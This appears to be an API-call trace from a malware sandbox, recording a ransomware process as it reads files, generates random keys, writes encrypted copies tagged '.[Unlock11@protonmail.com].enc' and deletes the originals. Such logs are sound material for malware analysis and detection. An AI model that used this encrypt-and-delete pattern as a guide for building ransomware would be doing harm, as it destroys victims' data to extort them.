[0113.014] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu")) returned 0x80 [0113.014] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a3e8 | out: hHeap=0x2ad0000) returned 1 [0113.014] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19658, Size=0x8c) returned 0x2ac0c08 [0113.014] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0113.014] GetCurrentThreadId () returned 0x9b0 [0113.014] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\DHtmlHeader.html", lpFilePart=0x9bada4*="DHtmlHeader.html") returned 0x26 [0113.014] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0113.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0113.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0113.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0113.015] GetCurrentThreadId () returned 0x9b0 [0113.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x30282d8 [0113.015] GetCurrentThreadId () returned 0x9b0 [0113.015] GetCurrentThreadId () returned 0x9b0 [0113.015] GetCurrentThreadId () returned 0x9b0 [0113.015] GetCurrentThreadId () returned 0x9b0 [0113.015] GetCurrentThreadId () returned 0x9b0 [0113.015] GetCurrentThreadId () returned 0x9b0 [0113.016] GetCurrentThreadId () returned 0x9b0 [0113.016] GetCurrentThreadId () returned 0x9b0 [0113.016] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6)) returned 1 [0113.016] GetCurrentThreadId () returned 0x9b0 [0113.016] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662b24 | out: pbBuffer=0x3662b24) returned 1 [0113.016] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0113.016] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0113.016] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0113.017] GetCurrentThreadId () returned 0x9b0 [0113.017] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x30282d8 [0113.017] GetCurrentThreadId () returned 0x9b0 [0113.017] GetCurrentThreadId () returned 0x9b0 [0113.017] GetCurrentThreadId () returned 0x9b0 [0113.017] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0113.017] GetFileType (hFile=0x39c) returned 0x1 [0113.017] GetCurrentThreadId () returned 0x9b0 [0113.017] GetFileType (hFile=0x39c) returned 0x1 [0113.017] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.018] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.018] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.018] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.018] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.018] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.018] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.018] GetLastError () returned 0x0 [0113.018] GetCurrentThreadId () returned 0x9b0 [0113.018] GetLastError () returned 0x0 [0113.018] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de548 | out: hHeap=0x2ad0000) returned 1 [0113.018] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffb8 | out: hHeap=0x2ad0000) returned 1 [0113.018] GetLastError () returned 0x0 [0113.018] GetLastError () returned 0x0 [0113.019] GetLastError () returned 0x0 [0113.019] GetLastError () returned 0x0 [0113.019] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0113.019] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de548 [0113.019] GetLastError () returned 0x0 [0113.019] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0113.019] GetFileType (hFile=0x3ac) returned 0x1 [0113.019] GetLastError () returned 0x0 [0113.020] GetCurrentThreadId () returned 0x9b0 [0113.020] GetLastError () returned 0x0 [0113.020] GetFileType (hFile=0x3ac) returned 0x1 [0113.020] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.020] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.020] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.020] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.020] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.020] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.020] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.020] GetLastError () returned 0x0 [0113.020] GetCurrentThreadId () returned 0x9b0 [0113.020] GetLastError () returned 0x0 [0113.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de548 | out: hHeap=0x2ad0000) returned 1 [0113.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dba80 | out: hHeap=0x2ad0000) returned 1 [0113.021] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0113.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0113.021] GetLastError () returned 0x0 [0113.021] GetLastError () returned 0x0 [0113.021] GetCurrentThreadId () returned 0x9b0 [0113.021] GetLastError () returned 0x0 [0113.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0113.021] GetLastError () returned 0x0 [0113.021] GetLastError () returned 0x0 [0113.021] GetCurrentThreadId () returned 0x9b0 [0113.021] GetLastError () returned 0x0 [0113.022] GetLastError () returned 0x0 [0113.023] GetLastError () returned 0x0 [0113.023] GetCurrentThreadId () returned 0x9b0 [0113.023] GetLastError () returned 0x0 [0113.023] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x3f0b) returned 0x35c5908 [0113.023] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x3f15) returned 0x35c5908 [0113.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de548 [0113.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0113.024] GetCurrentThreadId () returned 0x9b0 [0113.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3f18) returned 0x38273e0 [0113.024] GetLastError () returned 0x0 [0113.024] GetLastError () returned 0x0 [0113.024] GetLastError () returned 0x0 [0113.024] GetLastError () returned 0x0 [0113.024] GetCurrentThreadId () returned 0x9b0 [0113.024] GetLastError () returned 0x0 [0113.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38273e0 | out: hHeap=0x2ad0000) returned 1 [0113.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0113.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0113.025] GetLastError () returned 0x0 [0113.026] GetLastError () returned 0x0 [0113.026] GetCurrentThreadId () returned 0x9b0 [0113.026] GetLastError () returned 0x0 [0113.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0113.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0113.026] GetLastError () returned 0x0 [0113.026] GetLastError () returned 0x0 [0113.026] GetCurrentThreadId () returned 0x9b0 [0113.027] GetLastError () returned 0x0 [0113.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.027] GetLastError () returned 0x0 [0113.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0113.027] CloseHandle (hObject=0x3ac) returned 1 [0113.027] GetLastError () returned 0x0 [0113.027] GetCurrentThreadId () returned 0x9b0 [0113.027] GetLastError () returned 0x0 [0113.028] GetLastError () returned 0x0 [0113.028] CloseHandle (hObject=0x39c) returned 1 [0113.028] GetLastError () returned 0x0 [0113.028] GetCurrentThreadId () returned 0x9b0 [0113.028] GetLastError () returned 0x0 [0113.028] GetLastError () returned 0x0 [0113.028] GetLastError () returned 0x0 [0113.028] GetLastError () returned 0x0 [0113.028] GetLastError () returned 0x0 [0113.028] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 1 [0113.029] GetLastError () returned 0x0 [0113.030] GetCurrentThreadId () returned 0x9b0 [0113.030] GetLastError () returned 0x0 [0113.030] GetCurrentThreadId () returned 0x9b0 [0113.030] GetLastError () returned 0x0 [0113.030] GetLastError () returned 0x0 [0113.030] GetLastError () returned 0x0 [0113.030] GetLastError () returned 0x0 [0113.030] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\DisplayIcon.ico", lpFilePart=0x9bada4*="DisplayIcon.ico") returned 0x25 [0113.030] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0113.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0113.030] GetCurrentThreadId () returned 0x9b0 [0113.030] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0113.031] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0113.031] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cb88 [0113.031] GetLastError () returned 0x0 [0113.031] GetLastError () returned 0x0 [0113.031] GetLastError () returned 0x0 [0113.031] GetLastError () returned 0x0 [0113.031] GetCurrentThreadId () returned 0x9b0 [0113.031] GetLastError () returned 0x0 [0113.031] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cb88 | out: hHeap=0x2ad0000) returned 1 [0113.031] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ce08 [0113.032] GetLastError () returned 0x0 [0113.032] GetLastError () returned 0x0 [0113.032] GetLastError () returned 0x0 [0113.032] GetLastError () returned 0x0 [0113.032] GetCurrentThreadId () returned 0x9b0 [0113.032] GetLastError () returned 0x0 [0113.032] GetCurrentThreadId () returned 0x9b0 [0113.032] GetLastError () returned 0x0 [0113.032] GetLastError () returned 0x0 [0113.032] GetLastError () returned 0x0 [0113.032] GetLastError () returned 0x0 [0113.033] GetCurrentThreadId () returned 0x9b0 [0113.033] GetLastError () returned 0x0 [0113.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ce08 | out: hHeap=0x2ad0000) returned 1 [0113.033] GetLastError () returned 0x0 [0113.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0113.033] GetLastError () returned 0x0 [0113.033] GetLastError () returned 0x0 [0113.033] GetLastError () returned 0x0 [0113.033] GetCurrentThreadId () returned 0x9b0 [0113.033] GetLastError () returned 0x0 [0113.033] GetLastError () returned 0x0 [0113.033] GetLastError () returned 0x0 [0113.034] GetLastError () returned 0x0 [0113.034] GetLastError () returned 0x0 [0113.034] GetCurrentThreadId () returned 0x9b0 [0113.034] GetLastError () returned 0x0 [0113.034] GetCurrentThreadId () returned 0x9b0 [0113.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a468 | out: hHeap=0x2ad0000) returned 1 [0113.034] GetLastError () returned 0x0 [0113.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0113.034] GetLastError () returned 0x0 [0113.034] GetLastError () returned 0x0 [0113.034] GetLastError () returned 0x0 [0113.034] GetCurrentThreadId () returned 0x9b0 [0113.034] GetLastError () returned 0x0 [0113.035] GetLastError () returned 0x0 [0113.035] GetLastError () returned 0x0 [0113.035] GetLastError () returned 0x0 [0113.035] GetLastError () returned 0x0 [0113.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0113.035] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5)) returned 1 [0113.035] GetLastError () returned 0x0 [0113.035] GetCurrentThreadId () returned 0x9b0 [0113.035] GetLastError () returned 0x0 [0113.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0113.035] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662cdc | out: pbBuffer=0x3662cdc) returned 1 [0113.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0113.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0113.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0113.036] GetCurrentThreadId () returned 0x9b0 [0113.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cd68 [0113.036] GetLastError () returned 0x0 [0113.036] GetLastError () returned 0x0 [0113.036] GetLastError () returned 0x0 [0113.036] GetLastError () returned 0x0 [0113.036] GetCurrentThreadId () returned 0x9b0 [0113.036] GetLastError () returned 0x0 [0113.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cd68 | out: hHeap=0x2ad0000) returned 1 [0113.037] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cd40 [0113.037] GetCurrentThreadId () returned 0x9b0 [0113.037] GetLastError () returned 0x0 [0113.037] GetLastError () returned 0x0 [0113.037] GetLastError () returned 0x0 [0113.037] GetLastError () returned 0x0 [0113.037] GetCurrentThreadId () returned 0x9b0 [0113.037] GetLastError () returned 0x0 [0113.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cd40 | out: hHeap=0x2ad0000) returned 1 [0113.037] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de508 [0113.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0113.038] GetLastError () returned 0x0 [0113.038] GetLastError () returned 0x0 [0113.038] GetLastError () returned 0x0 [0113.038] GetLastError () returned 0x0 [0113.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0113.038] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de558 [0113.038] GetLastError () returned 0x0 [0113.038] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0113.038] GetFileType (hFile=0x39c) returned 0x1 [0113.038] GetLastError () returned 0x0 [0113.039] GetCurrentThreadId () returned 0x9b0 [0113.039] GetLastError () returned 0x0 [0113.039] GetFileType (hFile=0x39c) returned 0x1 [0113.039] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.039] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.039] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.039] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.039] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.039] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.039] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.039] GetLastError () returned 0x0 [0113.039] GetCurrentThreadId () returned 0x9b0 [0113.039] GetLastError () returned 0x0 [0113.039] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de558 | out: hHeap=0x2ad0000) returned 1 [0113.040] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0113.040] GetLastError () returned 0x0 [0113.040] GetLastError () returned 0x0 [0113.040] GetLastError () returned 0x0 [0113.040] GetLastError () returned 0x0 [0113.040] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0113.040] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de558 [0113.040] GetLastError () returned 0x0 [0113.040] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0113.041] GetFileType (hFile=0x3ac) returned 0x1 [0113.041] GetLastError () returned 0x0 [0113.041] GetCurrentThreadId () returned 0x9b0 [0113.041] GetLastError () returned 0x0 [0113.041] GetFileType (hFile=0x3ac) returned 0x1 [0113.041] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.041] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.041] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.041] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.041] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.041] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.041] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.041] GetLastError () returned 0x0 [0113.042] GetCurrentThreadId () returned 0x9b0 [0113.042] GetLastError () returned 0x0 [0113.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de558 | out: hHeap=0x2ad0000) returned 1 [0113.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbc60 | out: hHeap=0x2ad0000) returned 1 [0113.042] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0113.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0113.042] GetLastError () returned 0x0 [0113.042] GetLastError () returned 0x0 [0113.042] GetCurrentThreadId () returned 0x9b0 [0113.042] GetLastError () returned 0x0 [0113.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0113.042] GetLastError () returned 0x0 [0113.042] GetLastError () returned 0x0 [0113.043] GetCurrentThreadId () returned 0x9b0 [0113.043] GetLastError () returned 0x0 [0113.043] GetLastError () returned 0x0 [0113.049] GetLastError () returned 0x0 [0113.050] GetCurrentThreadId () returned 0x9b0 [0113.050] GetLastError () returned 0x0 [0113.050] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0113.050] GetCurrentThreadId () returned 0x9b0 [0113.050] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.050] GetLastError () returned 0x0 [0113.051] GetLastError () returned 0x0 [0113.051] GetLastError () returned 0x0 [0113.051] GetLastError () returned 0x0 [0113.051] GetCurrentThreadId () returned 0x9b0 [0113.051] GetLastError () returned 0x0 [0113.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.052] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0113.052] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0113.052] GetLastError () returned 0x0 [0113.054] GetLastError () returned 0x0 [0113.054] GetCurrentThreadId () returned 0x9b0 [0113.054] GetLastError () returned 0x0 [0113.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.054] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0113.054] GetLastError () returned 0x0 [0113.054] GetLastError () returned 0x0 [0113.054] GetCurrentThreadId () returned 0x9b0 [0113.055] GetLastError () returned 0x0 [0113.055] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x59ea) returned 0x36f8548 [0113.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.055] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x59f5) returned 0x36f8548 [0113.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de5f8 [0113.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de558 | out: hHeap=0x2ad0000) returned 1 [0113.055] GetCurrentThreadId () returned 0x9b0 [0113.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x59f8) returned 0x3887a10 [0113.055] GetLastError () returned 0x0 [0113.055] GetLastError () returned 0x0 [0113.055] GetLastError () returned 0x0 [0113.056] GetLastError () returned 0x0 [0113.056] GetCurrentThreadId () returned 0x9b0 [0113.056] GetLastError () returned 0x0 [0113.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0113.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0113.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0113.056] GetLastError () returned 0x0 [0113.056] GetLastError () returned 0x0 [0113.057] GetCurrentThreadId () returned 0x9b0 [0113.057] GetLastError () returned 0x0 [0113.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b89d8 | out: hHeap=0x2ad0000) returned 1 [0113.057] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fdf48 [0113.057] GetLastError () returned 0x0 [0113.057] GetLastError () returned 0x0 [0113.057] GetCurrentThreadId () returned 0x9b0 [0113.057] GetLastError () returned 0x0 [0113.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fdf48 | out: hHeap=0x2ad0000) returned 1 [0113.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.058] GetLastError () returned 0x0 [0113.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0113.058] CloseHandle (hObject=0x3ac) returned 1 [0113.058] GetLastError () returned 0x0 [0113.058] GetCurrentThreadId () returned 0x9b0 [0113.058] GetLastError () returned 0x0 [0113.058] GetLastError () returned 0x0 [0113.058] CloseHandle (hObject=0x39c) returned 1 [0113.059] GetLastError () returned 0x0 [0113.059] GetCurrentThreadId () returned 0x9b0 [0113.059] GetLastError () returned 0x0 [0113.059] GetLastError () returned 0x0 [0113.059] GetLastError () returned 0x0 [0113.059] GetLastError () returned 0x0 [0113.059] GetLastError () returned 0x0 [0113.059] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 1 [0113.061] 